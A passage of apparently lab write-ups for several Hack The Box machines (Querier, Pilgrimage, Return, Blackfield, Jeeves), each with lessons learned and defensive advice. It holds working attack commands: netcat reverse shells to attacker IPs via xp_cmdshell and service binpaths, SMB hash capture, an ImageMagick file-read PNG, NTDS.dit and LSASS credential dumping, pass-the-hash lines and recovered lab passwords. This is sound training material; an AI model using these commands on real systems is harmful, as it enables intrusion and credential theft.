C:\ProgramData\Microsoft\Group Policy\History\

Then searched for XML files:

dir "C:\ProgramData\Microsoft\Group Policy\History\" -Recurse -Include *.xml

This led me to:

Groups.xml

Inside was a cpassword value—exactly what I was hoping to find.

Decrypting cpassword

I pulled the value and decrypted it:

gpp-decrypt <cpassword>

Which returned:

Administrator : MyUnclesAreMarioAndLuigi!!1!

That was the final piece.

Final Access

evil-winrm -i 10.129.9.231 -u Administrator

whoami
querier\administrator

5. Lessons Learned

1. Enumeration Needs Verification, Not Assumptions
A single tool suggested SMB was locked down. A second tool proved otherwise. That difference led directly to initial access.

2. SMB Still Delivers Value in Subtle Ways
Even limited access can expose files that shift the entire attack path.

3. MSSQL Is a Full Attack Surface
Treating it as just a database would have stalled progress. Understanding its interaction with the system made the difference.

4. xp_dirtree Is a Reliable Pivot Technique
It turns database access into credential harvesting with very little effort.

5. Privilege Context Defines Capability
The jump from low-priv user to CONTROL SERVER is what unlocked RCE.

6. GPP Credentials Are Still an Easy Win
They remain one of the most consistent privilege escalation vectors on Windows systems.

7. Small Details Compound Into Full Compromise
No single step here was overly complex, but each one built cleanly into the next.

6. Defensive Insight

1. SMB Access Should Be Consistently Enforced
Inconsistent handling of anonymous access can expose sensitive resources.

2. Credentials Should Never Be Embedded in Files
Storing passwords in macros creates immediate exposure if the file is accessible.

3. MSSQL Features Like xp_cmdshell Should Be Restricted
These capabilities should not be available without strict controls.

4. Outbound Authentication Should Be Monitored
Unexpected SMB connections to external hosts are a strong indicator of abuse.

5. GPP Password Storage Should Be Eliminated
cpassword is reversible and should not exist in any modern environment.

6. Service Accounts Should Follow Least Privilege
Granting CONTROL SERVER unnecessarily creates a direct path to compromise.

7. Useful Commands

Scanning

rustscan -a 10.129.9.231 -b 7000

SMB Enumeration

smbclient -N -L //10.129.9.231
smbclient -N //10.129.9.231/Reports

File Analysis

olevba Currency\ Volume\ Report.xlsm

MSSQL Access

impacket-mssqlclient reporting:PcwTWrHwrwyjc$c6@10.129.9.231 -windows-auth
impacket-mssqlclient mssql-svc:corporate568@10.129.9.231 -windows-auth

SQL Enumeration

SELECT * FROM fn_my_permissions(NULL, 'SERVER');
SELECT name FROM master.sys.databases;

Hash Capture

xp_dirtree \\10.10.15.205\neo

Cracking

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Reverse Shell

xp_cmdshell \\10.10.15.205\zion\nc.exe -e powershell.exe 10.10.15.205 9001

GPP Decryption

gpp-decrypt <cpassword>

Final Access

evil-winrm -i 10.129.9.231 -u Administrator

• Machine Name: Pilgrimage

• Platform: Hack The Box

• Operating System: Linux

• Target IP: 10.129.9.115

• Objective: Gain initial access to the target system and escalate privileges to obtain full system compromise.

Pilgrimage was one of the more instructive machines I’ve worked through so far. It combined a clean initial foothold with a privilege escalation path that really forced me to understand what the system was doing behind the scenes.

Tools Used

• Nmap

• RustScan

• ffuf

• git-dumper

• pngcrush

• sqlite3

• searchsploit

• binwalk

• netcat

2. Enumeration

Initial Reconnaissance

As always, I started with a port scan using RustScan to quickly identify open ports and pass them into Nmap for deeper analysis.

rustscan -a 10.129.9.115 -b 7000 -- -sC -sV -T4

The results showed a very narrow attack surface:

• Port 22 (SSH)

• Port 80 (HTTP)

Since SSH is rarely useful without credentials, I focused on the web server.

During the scan, I noticed a redirect to pilgrimage.htb, so I added it to my /etc/hosts file.

Web Enumeration

I began with virtual host fuzzing to see if there were additional domains:

ffuf -u http://10.129.9.115 -H "Host: FUZZ.pilgrimage.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt

No additional domains were discovered, so I moved on to directory fuzzing:

ffuf -u http://pilgrimage.htb/FUZZ -w /usr/share/wordlists/elite.txt -fc 403

This revealed a key finding:

.git/

An exposed .git directory is always a strong signal that source code may be recoverable, which can completely change how you approach the box.

Application Analysis

Browsing the site, I found an image compression application. Since user-uploaded files were being processed on the server, this immediately stood out as a potential attack surface.

My first instinct was command injection. The logic is straightforward: if user input is passed into a system binary without proper sanitization, it can lead to remote command execution.

However, I ran into a few constraints:

• I could not control the filename being passed to the backend

• File uploads were filtered (PHP files were blocked)

• Changing extensions or embedding PHP code did not bypass the filter

At this point, it was clear that direct RCE through file upload was not the intended path, so I shifted focus.

3. Exploitation

Source Code Disclosure via .git

The exposed .git directory allowed me to reconstruct the full repository:

git-dumper http://pilgrimage.htb/.git src

This removed guesswork entirely. Instead of probing blindly, I could now see exactly how the application worked.

While reviewing the source, I found that uploaded images were processed using a binary called magick, part of ImageMagick.

LFI via ImageMagick (What’s Actually Happening)

ImageMagick processes images by parsing both the image data and any embedded metadata. One feature it supports is embedded profiles inside image files.

The vulnerability here comes from how those profiles are interpreted.

Using pngcrush, I created a malicious PNG:

pngcrush -text a "profile" "/etc/passwd" input.png output.png

Here’s what’s happening behind the scenes:

• The PNG includes a text chunk labeled profile

• Instead of treating this as harmless metadata, ImageMagick treats it as a file reference

• It attempts to open and read the file from disk

• The contents of that file are embedded into the processed output image

So when the application processes the image:

• /etc/passwd is read on the server

• Its contents are injected into the output

• That output is returned to me

This effectively gives me a file read primitive through the backend.

The key point here is that this is not a traditional LFI through a URL parameter—this is LFI through abusing how a backend library parses user-controlled input.

Why RFI Was Not an Option

At this point, a common instinct is to try Remote File Inclusion to get code execution.

That doesn’t apply here.

This vulnerability:

• Only reads local files

• Does not execute what it reads

• Does not support remote paths

Credential Extraction via LFI

Instead of chasing RCE, I shifted focus to what LFI is best at: reading sensitive data.

From reviewing the source code, I already knew the application used a SQLite database. That immediately became my target.

Using the same technique, I extracted the database file, rebuilt it locally, and dumped its contents:

xxd -r -p pil.db.hex > pil.db
sqlite3 pil.db
.dump

This revealed credentials for a valid user:

INSERT INTO users VALUES('emily','abigchonkyboi123');

Initial Access

With SSH open, I used the recovered credentials to log in as emily and gained a shell on the system.

4. Privilege Escalation

Binwalk Vulnerability

Inside Emily’s home directory, I found a reference to binwalk. Checking the version showed it was vulnerable to command execution.

Binwalk analyzes files by extracting embedded data and processing it. The issue is that it does not safely handle certain extracted content, which allows crafted files to trigger command execution.

However, running the exploit directly would only give me a shell as emily, so I needed to find where binwalk was being used with higher privileges.

Root Script Behavior

Using:

ps auxww

I discovered a root-owned process monitoring a directory:

/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/

• The system watches for new files

• When a file is created, a script runs

• That script processes the file using binwalk

• The script runs as root

This creates a dangerous condition:

A privileged process is automatically handling user-controlled input.

Exploitation

1. Create a malicious file targeting the binwalk vulnerability

   

2. Place it in the monitored directory

   

3. Wait for the root script to process it

When the script triggered, it executed binwalk as root against my payload, resulting in a reverse shell.

5. Lessons Learned

1. LFI Is About Data First, Not Execution

One of the biggest takeaways from this box is that LFI is not always about getting code execution. In many cases, its real value comes from reading sensitive files such as databases, configuration files, or credentials. In this case, focusing on data extraction instead of forcing RCE led directly to a working foothold.

2. Source Code Changes Everything

Having access to the application’s source code through the exposed .git directory removed guesswork entirely. Instead of blindly testing inputs, I was able to understand how the application worked, identify backend components, and target specific files with purpose.

3. File Processing Is a High-Risk Attack Surface

Applications that process user-uploaded files introduce complex parsing behavior. Tools like ImageMagick are powerful but can interpret metadata in unexpected ways, which creates opportunities for vulnerabilities like this one. Any time files are being processed server-side, it should immediately raise attention.

4. Automation Combined with Privilege Is Dangerous

The privilege escalation in this box was not just about a vulnerable binary—it was about how that binary was being used. A root process was automatically executing binwalk on user-controlled input, which created a reliable path to escalation. Automation without proper safeguards is a serious risk.

5. Running Processes Often Reveal the Path Forward

The ps auxww output directly exposed the privilege escalation vector. Without checking running processes, it would have been much harder to identify how binwalk was being used. This reinforces how critical process enumeration is during privesc.

6. Defensive Insight

1. Do Not Expose .git Directories

Exposing a .git directory in production allows attackers to reconstruct the entire codebase, including sensitive logic and configuration details. This should always be blocked at the web server level.

2. Secure File Processing Pipelines

Any application that processes uploaded files must strictly validate and sanitize input. User-controlled data should never be passed directly into system-level tools without proper handling or isolation.

3. Patch Third-Party Dependencies

Both ImageMagick and binwalk had known vulnerabilities that were exploited in this box. Keeping dependencies updated is one of the simplest and most effective ways to prevent these types of attacks.

4. Restrict Access to Sensitive Files

Database files and other sensitive resources should not be readable by components that interact with user input. Proper file permission controls can significantly limit the impact of vulnerabilities like LFI.

5. Avoid Root-Level Automation on Untrusted Input

Automated processes running as root should never directly process user-controlled data. If automation is required, it should be isolated, validated, and run with the least privileges necessary.

7. Useful Commands

Virtual Host Fuzzing (Discover Subdomains)

ffuf -u http://10.129.9.115 -H "Host: FUZZ.pilgrimage.htb" -w 
/usr/share/seclists/Discovery/DNS/subdomains-t

Dump Exposed .git Repository

git-dumper http://pilgrimage.htb/.git src

Craft Malicious PNG for LFI (ImageMagick Abuse)

pngcrush -text a "profile" "/etc/passwd" input.png output.png

Reconstruct Extracted Database File

xxd -r -p pil.db.hex > pil.db

Read SQLite Database Contents

sqlite3 pil.db
.dump

Enumerate Running Processes

ps auxww

Machine Name: Return
Platform: HackTheBox
Operating System: Windows
Target IP: 10.129.95.241
Objective: Gain initial access and escalate privileges to SYSTEM within an Active Directory environment.

Return is a Windows Active Directory machine that, on the surface, exposes standard enterprise services like LDAP, SMB, and Kerberos. What made this box stand out to me is how realistic it felt—everything revolved around a misconfigured service and poor credential handling rather than some flashy exploit. It forced me to slow down, pay attention to details, and think through how services actually communicate.

Tools Used

• Nmap

• NetExec (nxc)

• rpcclient

• Kerbrute

• ffuf

• Burp Suite

• Netcat

• Evil-WinRM

2. Enumeration

Initial Enumeration

I started with an Nmap scan and immediately saw this was a typical Active Directory environment. LDAP (389), Kerberos (88), SMB (445), and a web server on port 80 were all exposed. The presence of an FQDN (return.local) confirmed domain functionality.

I added the domain to my /etc/hosts file to ensure proper resolution before continuing.

SMB Enumeration

I attempted anonymous SMB enumeration:

• Null authentication was allowed

• Share enumeration failed with STATUS_ACCESS_DENIED

This told me SMB was present but locked down properly—no easy wins here.

RPC Enumeration

Next, I tried anonymous RPC enumeration:

• Attempted enumdomusers

• Access was denied

Again, nothing exposed anonymously.

LDAP Enumeration

I attempted LDAP user enumeration:

• LDAP bind failed due to lack of authentication

• No anonymous access allowed

At this point, it was clear: no anonymous enumeration path was going to work on this box.

Web Enumeration

Since infrastructure enumeration was blocked, I shifted focus to the web server.

Running ffuf revealed several .php endpoints, indicating a dynamic web application.

When I visited the site, I found something interesting—a printer admin panel.

Inside the settings page, I noticed:

• Server Address

• Port (389)

• Username: svc-printer

• Password field (masked)

This immediately stood out. Service accounts exposed in web apps are always worth investigating.

Kerberos Enumeration

I used kerbrute to validate the username:

• svc-printer was confirmed as a valid domain user

I attempted AS-REP roasting, but it failed—so no luck there.

Potential Vulnerability Identified

At this point, the key observation was:

• The web app allows updating a server address

• It references LDAP (port 389)

• It uses a service account (svc-printer)

This strongly suggested the application might be attempting authentication against whatever server I supply.

3. Exploitation

Initial Foothold

I intercepted the request to /settings.php using Burp Suite and noticed something important:

• The POST request only contained a field for the server IP

My initial thought was to replace this with my attacking machine and catch a connection.

I first tried:

• Netcat listener on port 80 → no response

Then I corrected my mistake:

• The application explicitly referenced port 389 (LDAP)

So I switched my listener:

nc -nvlp 389

This time, I received a connection from the target.

Credential Capture

The application attempted to authenticate to my listener using:

• Username: svc-printer

• Password: plaintext

This was the foothold.

Key takeaway:
I was tunnel-visioned on HTTP, but the application logic was using LDAP. The port number was right in front of me the whole time.

User Access

With credentials in hand, I tested WinRM access:

• svc-printer had WinRM access → successful login via Evil-WinRM

I now had a shell as a domain user.

Post-Compromise Validation

I enumerated the domain:

• Only one other user: Administrator

This hinted that privilege escalation would likely be local rather than domain-based.

4. Privilege Escalation

Local Enumeration

I followed my Windows privilege escalation checklist:

• Checked for autologon credentials → none found

  

• Checked user directories → nothing useful

User Context Review

Running:

whoami /all

Revealed something critical:

• User is a member of Server Operators

This is a high-value group.

Privilege Escalation Path

Members of Server Operators can:

• Start/stop services

• Modify service configurations

• Execute binaries as SYSTEM

This is essentially a direct path to SYSTEM if abused correctly.

Exploitation via Services

I uploaded nc.exe to the target and modified the Volume Shadow Copy (VSS) service:

sc.exe config VSS binpath= "C:\ProgramData\nc.exe -e cmd 10.10.14.123 7777"
sc.exe start VSS

This triggered a reverse shell.

Shell Stability Issue

The initial shell was unstable.

Reason:

• Windows expects services to behave in a specific way

• If they don’t, they get terminated

Stable Shell Workaround

To fix this, I wrapped the payload in cmd.exe:

sc.exe config VSS binpath= "C:\Windows\System32\cmd.exe /c C:\ProgramData\nc.exe -e cmd 10.10.14.123 7777"

This worked because:

• The service starts cmd.exe (valid behavior)

• cmd.exe spawns netcat as a child process

• Even if the service dies, the shell persists

SYSTEM Access

After triggering the service again, I received a stable shell:

nt authority\system

Full compromise.

5. Lessons Learned

1. Avoid Tunnel Vision

I initially assumed everything would communicate over HTTP. That was wrong.

The application clearly showed port 389, and once I aligned my testing with that, everything worked.

2. Always Trust What the Application Tells You

The web interface literally gave me:

Protocol (LDAP) Port (389) Username (svc-printer)

That’s not decoration—that’s attack surface.

3. Server Operators = High Value

This group is extremely powerful.

If you see it, treat it the same way you would:

SeImpersonatePrivilege WriteDACL GenericAll

It’s basically a built-in privesc path.

4. Service Abuse is a Reliable Privesc Vector

Using sc.exe to modify services is:

Simple Reliable Extremely effective

This is something I’ll actively look for going forward.

5. Shell Stability Matters

Getting a shell is not enough.

Understanding why it dies and how to stabilize it is what separates a working exploit from a reliable one.

6. Defensive Insight

1. Never Store or Transmit Credentials in Plaintext

The printer service leaked credentials over LDAP without encryption.

This is a critical failure.

2. Restrict Service Account Permissions

The svc-printer account had:

• WinRM access

• Membership in Server Operators

That’s excessive privilege for a service account.

3. Secure Service Configuration Permissions

Allowing non-admin users to modify services is dangerous.

This is a direct escalation path.

4. Enforce LDAP Signing and Encryption

LDAP without signing allows credential interception.

This should always be enforced in production environments.

7. Useful Commands

Enumeration

nxc smb <target> -u '' -p '' --shares
rpcclient -U "" -N <target>
nxc ldap <target> --users
kerbrute userenum -d return.local users.txt

Exploitation

nc -nvlp 389

Privilege Escalation

whoami /all
sc.exe config <service> binpath= "<payload>"
sc.exe start <service>

Active Directory

evil-winrm -i <target> -u svc-printer -p <password>

Machine Name: Blackfield
Platform: HackTheBox
Operating System: Windows
Target IP: 10.129.229.17
Objective: Gain Domain Administrator access

Blackfield is definitely one of the best AD machines I’ve done so far. It’s all about chaining realistic misconfigurations together. Every step builds on the last.

Tools Used

• Nmap

• NetExec (NXC)

• Kerbrute

• Impacket

• John the Ripper

• RustHound-CE

• BloodHound

• pypykatz

• Evil-WinRM

• DiskShadow

• Robocopy

2. Enumeration

I kicked things off with an Nmap scan and immediately saw what I expected from a domain controller—LDAP, Kerberos, SMB, RPC, DNS. Nothing unusual, but everything I needed.

The scan also leaked the domain:

BLACKFIELD.local

First move—add that to /etc/hosts. Always.

Anonymous SMB Access

Next step was checking SMB:

I tested guest access and got in. That alone is already a foothold from an enumeration standpoint.

I was able to:

• List shares

• Read from at least one share (profiles$)

RID Brute

I tried normal user enumeration first (--users)—nothing.

So I pivoted to:

--rid-brute

This worked immediately.

Here’s the difference in plain terms:

• --users = asks nicely (requires permissions)

• --rid-brute = doesn’t care, brute-forces user IDs through RPC

Windows assigns every user a RID. If you know the domain SID, you can just iterate RIDs and ask:
“Hey, does this exist?”

That’s exactly what this module does—and it works as long as anonymous access is allowed even when proper enumeration is blocked.

This gave me:

• Domain users

• Groups

• Service accounts

At that point, I had a clean user list to work with.

Username Validation

Before doing anything else, I validated the users with Kerbrute.

Because:

• Kerberos will tell you if a username is real

• No password required

Now I knew I had valid domain accounts, not just guesses.

3. Exploitation

AS-REP Roasting

Whenever I have valid users and no passwords, I always try AS-REP roasting. Here’s what’s happening under the hood:

Normally, Kerberos requires pre-authentication—basically proof you know the password.

But if a user has:
UF_DONT_REQUIRE_PREAUTH

the domain will hand you an encrypted response without verifying who you are.

That’s a mistake. And it’s a big one.

I ran the attack with impackets GetNPUsers and got a hash back for one of the users.

Next I cracked it with John → got credentials for:

support

That’s my first real foothold.

Standard Post-Cred Checks

Once I had credentials, I followed the same routine I always do:

1. Password spraying → no reuse

2. Kerberoasting → nothing

3. SMB access → same as guest

4. WinRM → no access

So at this point with nothing obvious it was time to move on to bloodhound for further enumeration of potential attack vectors.

BloodHound (External Enumeration)

I ran BloodHound using RustHound (since NXC’s collector wasn’t behaving—likely LDAPS issues).

This was a good reminder:
don’t marry one tool.

ForceChangePassword Abuse

BloodHound showed something very interesting:

The support user had ForceChangePassword over:

audit2020

That’s game over for that user.

If you can change someone’s password, you are that user.

I used bloodyAD to reset it and immediately logged in as audit2020.

Forensic Share

The audit2020 user had access to a new share:

forensic

I spidered it and hit:

lsass.zip

LSASS Dump (Huge Learning Point)

Quick breakdown:

LSASS = Windows process that handles authentication

It stores:

• NTLM hashes

• Kerberos tickets

• Credentials in memory

So if you get a dump of LSASS, you’re basically looking at live credential material.

I downloaded it with smbclient, extracted it, and ran:

pypykatz

This tool parses memory dumps and pulls out usable creds.

Most of the hashes were dead, but one worked:

svc_backup

Lateral Movement

I tested the hash and it was valid. Next I Checked WinRM and saw the user had remote access privileges.

That’s immediate shell access. I checked the svc_backup users bloodhound abilities but there was nothing of note. Next i used evil-winrm to log in and see if there were anymore local priv esc vectors.

4. Privilege Escalation

SeBackupPrivilege

First thing I did in my winrm session as the svc_backup user was

whoami /all

and saw a goldmine privilege:

SeBackupPrivilege

This is one of those privileges you need to recognize instantly.

Why This Matters

This privilege lets you:

• Read ANY file on the system

• Ignore file permissions completely

That includes:

• NTDS.dit

• Registry hives

What is NTDS.dit?

This is the Active Directory database.

It contains:

• Every domain user

• Every password hash

• Everything that matters

But it’s encrypted.

To decrypt it, you also need:

• SYSTEM hive (contains boot key)

The Attack

What You’re Actually Trying to Do

At this stage, you already know:

• You have SeBackupPrivilege

• You want NTDS.dit + SYSTEM

• Goal = dump all domain hashes

But there’s a problem:

You cannot directly copy NTDS.dit while the system is running

Why?

• It’s locked by Active Directory (ntds service)

• Windows prevents direct access to in-use system files

So the real problem becomes:

“How do I get a readable copy of a locked file?”

The Solution: Volume Shadow Copy (VSS)

This is where DiskShadow comes in.

DiskShadow is a built-in Windows tool that interacts with:

Volume Shadow Copy Service (VSS)

What VSS Actually Does

VSS creates a snapshot of the filesystem at a point in time

Think of it like:

“Freeze the disk → clone it → let me read the clone”

So instead of touching the live NTDS.dit file, you:

• Create a snapshot

• Access the snapshot

• Copy the file from there

Now it’s no longer locked.

Why SeBackupPrivilege Makes This Work

Normally, even with a shadow copy:

• You’d still be blocked by permissions

But SeBackupPrivilege overrides file permissions

It basically says:

“I don’t care who owns this file—I can read it anyway”

That’s the key.

Without this privilege → attack fails
With it → full access to sensitive files

The Attack Flow

Step 1 — Create a DiskShadow Script

You don’t run DiskShadow manually—you feed it a script.

Example:

set context persistent nowriters
set metadata C:\Windows\Temp\meta.cab
set verbose on
add volume C: alias shadowcopy
create
expose %shadowcopy% E:

What Each Line Means (This is the important part)

• set context persistent nowriters

  → Creates a stable snapshot without involving writers (avoids interference)

• add volume C:

  → Targeting the main system drive

• create

  → Actually generates the shadow copy

• expose %shadowcopy% E:

  → Mounts the snapshot as a new drive (E:)

Step 2 — Run DiskShadow

diskshadow /s script.txt

After this runs:

👉 You now have a new drive (E:)

👉 That drive is a snapshot of the system

Step 3 — Copy the Files (Critical Step)

Now you copy from the snapshot, NOT the live system.

robocopy /b E:\Windows\NTDS C:\ProgramData\ ntds.dit

• /b = backup mode (uses SeBackupPrivilege)

Then:

reg save HKLM\SYSTEM C:\ProgramData\SYSTEM

Why These Two Files Matter Together

You need both:

1. NTDS.dit Contains encrypted domain credentials

2. SYSTEM hive Contains the boot key used to decrypt NTDS.dit

Simple Way to Think About It

• NTDS.dit = locked safe

• SYSTEM = key to open the safe

You need both or you get nothing.

Step 4 — Exfiltrate + Dump

Once you move both files to Kali:

impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL

Now you get:

• All domain users

• NTLM hashes

• Including Administrator

Final Step — Domain Takeover

You don’t even need passwords anymore.

Just pass the hash with psexec or wmiexec.

impacket-wmiexec administrator@<ip> -hashes <hash>

5. Lessons Learned

1. RID Brute is a fallback you should always remember
When normal enumeration fails, this still works more often than not.

2. AS-REP roasting is mandatory to check
It’s low effort, high reward. No reason to skip it.

3. LSASS dumps are extremely valuable
This was a big one for me—understanding how to extract creds from memory opens a lot of doors.

4. BloodHound isn’t optional in AD
You’re not guessing paths—you’re identifying them.

5. SeBackupPrivilege is dangerous
This alone can lead to full domain compromise. If you see it, you should already be thinking NTDS.

6. Defensive Insight

1. Disable accounts without pre-authentication
AS-REP roasting should not be possible in a secure environment.

2. Remove unnecessary ACLs (like ForceChangePassword)
This is how attackers pivot laterally without exploits.

3. Lock down sensitive shares
There is no reason an LSASS dump should be accessible over SMB.

4. Monitor privileged accounts
Accounts with SeBackupPrivilege should be heavily restricted and audited.

5. Restrict anonymous access
Even limited SMB access can expose the entire domain structure.

7. Useful Commands

Nmap Scan

nmap -sC -sV 10.129.229.17

Enumerate SMB Shares Anonymously

nxc smb 10.129.229.17 -u guest -p '' --shares

Enumerate Users with RID Brute

nxc smb 10.129.229.17 -u guest -p '' --rid-brute

Validate Usernames with Kerbrute

kerbrute userenum --dc 10.129.229.17 -d blackfield.local users.txt

AS-REP Roast Valid Users

impacket-GetNPUsers blackfield.local/ -dc-ip 10.129.229.17 -usersfile users.txt -no-pass

Crack the AS-REP Hash with John

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

NXC - Check SMB Access

nxc smb 10.129.229.17 -u support -p '<password>' --shares

NXC - Spray the Discovered Password Against Other Users

nxc smb 10.129.229.17 -u users.txt -p '<password>' --continue-on-success

impacket - Attempt Kerberoasting

impacket-GetUserSPNs blackfield.local/support:'<password>' -dc-ip 10.129.229.17 -request

Collect BloodHound Data with RustHound

rusthound-ce -d blackfield.local -u support -p '<password>' -c All -o blackfield.zip

BloodyAD Change Password

bloodyAD -d blackfield.local -u support -p '<password>' set password audit2020 '<NEW_PASSWORD>'

NXC - Spider Shares

nxc smb 10.129.229.17 -u audit2020 -p '<NEW_PASSWORD>' -M spider_plus -o EXCLUDE_FILTER='NETLOGON,SYSVOL,IPC\(,print\),C\(,ADMIN\)'

pypykatz- Extract Credentials from the LSASS Dump

pypykatz lsa minidump lsass.DMP

Execute DiskShadow

diskshadow /s C:\Windows\Temp\diskshadow.txt

Copy ntds.dit from the Shadow Copy

robocopy /b z:\Windows\NTDS C:\Windows\Temp ntds.dit

Save the SYSTEM Hive

reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM

Machine Name: Jeeves
Platform: HackTheBox
Operating System: Windows
Target IP: 10.129.11.223

Objective: Obtain initial access to the target system, escalate privileges to Administrator.

Jeeves was an instructive Windows box that tied together several practical ideas in a clean way. My biggest takeaway from this machine was learning how dangerous Groovy-based code execution can be when Jenkins is exposed.

Tools Used

• RustScan

• Nmap

• NetExec (nxc)

• FFUF

• Jenkins Script Console

• Groovy

• PowerShell

• Netcat

• KeePassXC

• keepass2john

• John the Ripper

• Impacket (psexec)

2. Enumeration

Port Scanning

As usual, I started with a scan to identify the exposed services and get a feel for the attack surface before choosing where to focus.

The scan showed four open ports:

• 80/tcp – HTTP (Microsoft IIS 10.0)

• 135/tcp – MSRPC

• 445/tcp – SMB

• 50000/tcp – HTTP (Jetty 9.4.z-SNAPSHOT)

Right away, a few things stood out. The presence of RPC and SMB told me I was dealing with a normal Windows host, so I already had my usual Windows enumeration process in mind. From past experience, I know Jetty is commonly associated with Java-based applications, so I was already thinking ahead that this might lead to technologies like Jenkins, Groovy, or something similar.

SMB Enumeration

The first service I chose to inspect was SMB.

Since port 445 was exposed, I started by checking whether I could get anything useful through anonymous access. This is always worth testing early because sometimes you get lucky with readable shares, loose permissions, or quick information disclosure before ever touching the web application.

In this case, anonymous access was denied:

• STATUS_ACCESS_DENIED

Share enumeration also failed, so there was no immediate foothold through SMB and nothing useful to pull from it at that stage.

Web Enumeration

Port 80 (IIS)

After SMB went nowhere, I moved on to the web application running on port 80. I like pairing manual inspection with directory fuzzing, so I opened the site in my browser while running ffuf in the background.

The page looked like some kind of Ask Jeeves-style search engine, which immediately made it worth interacting with because any search bar or input field is something I want to test directly. The first thing I did was type a simple test value into the search bar and submit it.

Instead of actually processing the request, the application immediately redirected me to an error page:

• error.html

That behavior told me something important very quickly. It did not look like the server was actually taking my search term, handling it dynamically, and returning a real result. It looked more like the search feature was either broken, fake, or just redirecting all interaction to a static page.

I looked more closely at the URL and the way the page behaved. Since it appeared to be referencing a file on the server, I decided it was worth trying a few LFI-style payloads to see if I could abuse the file reference in some way. That turned out to be a dead end because user input seemed to be sanitized properly.

Meanwhile, ffuf did not return anything useful beyond what I had already seen. There were no additional endpoints, no hidden functionality, nothing useful in the page source, and no real behavior that suggested the application had meaningful server-side processing behind it.

At that point, I concluded that port 80 was effectively a dead end.

Additional Web Enumeration

Port 50000 (Jetty)

With SMB giving me nothing and port 80 looking like a decoy or broken feature, I shifted my attention to the service on port 50000.

When I browsed to the port directly, I was met with a very plain 404 Not Found page from Jetty.

There was nothing directly useful in the content itself, but that kind of response is often a good sign because it tells me the service is alive and reachable—I just do not yet know the correct path.

So I ran ffuf against port 50000 as well.

This time, the fuzzing paid off. I discovered:

• /askjeeves

When I navigated to that endpoint, I found a Jenkins instance. The version was disclosed at the bottom of the page, which immediately made the service far more interesting.

I already knew Jenkins often exposes administrative functionality that can become extremely dangerous if access controls are weak or the version is old enough to be abused.

Potential Vulnerability Identification

I knew from past experience, older or improperly exposed Jenkins instances are often vulnerable to remote code execution through running Groovy code in the script console. Since Jetty had already tipped me off that I was likely dealing with a Java-based stack, the Jenkins discovery fit perfectly with that earlier assumption.

At that point, my thinking was simple:

• If the Script Console is accessible

• And Groovy execution is allowed

• Then I likely have direct code execution on the server

That was strong enough to move from enumeration into exploitation.

3. Exploitation

Initial Access

After identifying Jenkins, I navigated to the Script Console and tested whether I could run commands through Groovy.

To keep it simple, I started with a basic whoami command:

println "whoami".execute().text

The result confirmed that code execution worked and that commands were running as:

• kohsuke

That was the confirmation I needed. At that point, I had real remote code execution, not just a theory.

This was also the point where the main theme of the box became clear to me. More than anything else, Jeeves taught me how powerful Groovy RCE can be when Jenkins is exposed and unpatched. Once you have that level of access, initial compromise becomes very straightforward.

Shell Stabilization

After confirming command execution, the next step was to convert that into a real shell.

My plan was to host a PowerShell reverse shell on my attacker machine and then use Groovy to execute a PowerShell command that would download and run it. The logic was simple enough, but the trickiest part was getting the quoting right. When you have Groovy calling PowerShell and PowerShell calling out over HTTP, nested quotation marks become the annoying part of the job.

I hosted my PowerShell reverse shell script on my local web server, started a Netcat listener, and then worked through the escaping until the payload executed correctly.

Once I got the command formatted properly, I received a shell back as:

• kohsuke

That gave me the foothold I needed to start local enumeration.

4. Privilege Escalation

Current User Context

The first thing I always want to confirm after getting a shell is exactly who I am and what kind of environment I landed in.

whoami

• kohsuke

User Enumeration

Next, I enumerated the users on the box to understand whether I might need to pivot between accounts or whether this would likely be a straight vertical escalation path.

net user

There were only two users of note:

• kohsuke

• Administrator

That simplified things a lot. With only one obvious lower-privileged user and one administrative account, this did not look like a machine where I would need to chain multiple account compromises together.

Autologon Credential Check

One of the quick Windows checks I like to do early is the autologon registry check, since it sometimes gives you credentials for free if the machine is configured carelessly.

Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

There were no useful autologon credentials present.

Home Directory Review

At that point, I shifted to one of the most reliable habits in Windows privilege escalation: thoroughly reviewing the current user’s home directory and looking for anything that does not belong, anything credential-related, or anything that might indicate how the user manages secrets.

tree /F /A

What immediately stood out was:

• CEH.kdbx

That was a huge find.

A .kdbx file is a KeePass database, which means it potentially contains stored credentials, notes, hashes, or other sensitive data. When I see one of those during privesc, it immediately moves to the top of the list because it often leads directly to password reuse or administrative secrets.

File Transfer via SMB

Now that I had identified the KeePass database, I needed to get it onto my attacker machine so I could work on it locally with the right tools.

copy C:\Users\kohsuke\Documents\CEH.kdbx \\10.10.14.123\zion

Even though SMB had been useless earlier for enumeration, it was perfect here as a file transfer mechanism.

Credential Extraction

On my attacker machine:

keepass2john CEH.kdbx > hash.txt
john hash.txt

Recovered password:

After opening the database, I found stored entries including an NTLM hash, which pointed directly to a clean escalation path.

Privilege Escalation Path

Instead of cracking further, I used a Pass-the-Hash attack.

impacket-psexec administrator@10.129.11.223 -hashes :e0fb1fb85756c24235ff238cbe81fe00

The command returned a shell as:

nt authority\system

Full compromise achieved.

5. Lessons Learned

1. Recognizing a Technology Stack Early Saves Time

Seeing Jetty on port 50000 immediately narrowed my focus toward Java-based applications like Jenkins, which sped up the entire process.

2. Dead Ends Need to Be Identified Quickly

Port 80 looked promising at first, but once I confirmed it was just redirecting to a static error page, there was no reason to keep forcing it.

3. Jenkins Script Console is Extremely Dangerous

Groovy RCE through Jenkins is essentially direct command execution. If it's exposed, the box is already compromised.

4. User Files Can Be the Entire PrivEsc Path

The KeePass database was the key to privilege escalation. Careful file enumeration made the difference.

5. SMB is a Practical Tool, Not Just an Attack Vector

Even though SMB did not help initially, it became critical for file exfiltration later.

6. Defensive Insight

1. Jenkins Should Never Be Exposed Publicly

The Script Console alone is enough to fully compromise a system if accessible.

2. Keep Systems Patched

Outdated Jenkins versions introduce unnecessary risk.

3. Protect Credential Stores

Sensitive files like KeePass databases should not be left in user directories.

4. Limit NTLM Usage

Pass-the-Hash attacks remain effective because NTLM is still widely enabled.

5. Monitor File Transfer Channels

Even non-exploitable services like SMB can be abused for data exfiltration.

7. Useful Commands

Reconnaissance

rustscan -a 10.129.11.223 -b 7000
nmap -sC -sV -p- 10.129.11.223

Enumeration

